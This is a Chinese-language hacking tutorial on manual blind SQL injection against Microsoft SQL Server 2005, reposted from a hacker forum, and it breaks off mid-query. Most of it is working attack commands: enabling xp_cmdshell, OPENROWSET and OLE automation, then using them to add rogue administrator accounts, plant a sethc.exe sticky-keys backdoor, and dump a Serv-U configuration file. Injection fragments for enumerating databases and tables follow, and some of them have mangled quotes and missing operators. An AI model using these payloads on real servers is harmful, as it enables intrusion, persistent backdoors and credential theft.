MSSQL2005 手工盲注详解.docVIP

MSSQL2005 手工盲注详解 MSSQL2005 手工盲注详解 阅读:17 时间:2009-8-27 5:22:02 整理:华夏黑盟 ------------------------------------------------------------------ 来源:惘然 一.开启扩展 1.开启xp_cmdshell EXEC sp_configure ’show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;– 关闭xp_cmdshell EXEC sp_configure ’show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 0;RECONFIGURE;– dbcc addextendedproc(”xp_cmdshell”,”xplog70.dll”);– (添加xplog70.dll) 2.开启’OPENROWSET’ exec sp_configure ’show advanced options’, 1;RECONFIGURE;exec sp_configure ‘Ad Hoc Distributed Queries’,1;RECONFIGURE;– 查询分析器里执行select * from openrowset(’microsoft.jet.oledb.4.0′,’ ;database=c:\windows\system32\ias\ias.mdb’, ’select shell(”cmd.exe /c net user admin admin1234 /add”)’)来利用沙盘来添加个管理员 3.开启’sp_oacreate’ exec sp_configure ’show advanced options’, 1;RECONFIGURE;exec sp_configure ‘Ole Automation Procedures’,1;RECONFIGURE;– 拷贝文件d:\windows\explorer.exe 至sethc.exe declare @o int;exec sp_oacreate ’scripting.filesystemobject’, @o out ;exec sp_oamethod @o, ‘copyfile’,null,’d:\windows\explorer.exe’ ,’c:\sethc.exe’; 在查询分析器里执行 DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:\WINdows\system32\cmd.exe /c net user xcode xcode /add’ 这段代码就是利用SP_OAcreate来添加一个xcode的系统用户 然后直接提升为管理员权限 declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate ’scripting.filesystemobject’, @o out exec sp_oamethod @o, ‘opentextfile’, @f out, ‘d:\Serv-U6.3\ServUDaemon.ini’, 1 exec @ret = sp_oamethod @f, ‘readline’, @line out while( @ret = 0 ) begin print @line exec @ret = sp_oamethod @f, ‘readline’, @line out end 这段代码就可以把ServUDaemon.ini里的配置信息全部显示出来 二.有显错，暴。 and 0(select count(*) from master.dbo.sysdatabases);--折半法得到数据库个数 and 0(select count(*) from master.dbo.sysdatabases where name1 and dbid=1);–依次提交 dbid = 2.3.4… 得到更多的数据库名 and 0(select count(*) name from employ.dbo.sysobjects where xtype=U);--折半法得到表个数(假设暴出库名employ) and 0(select top 1 name from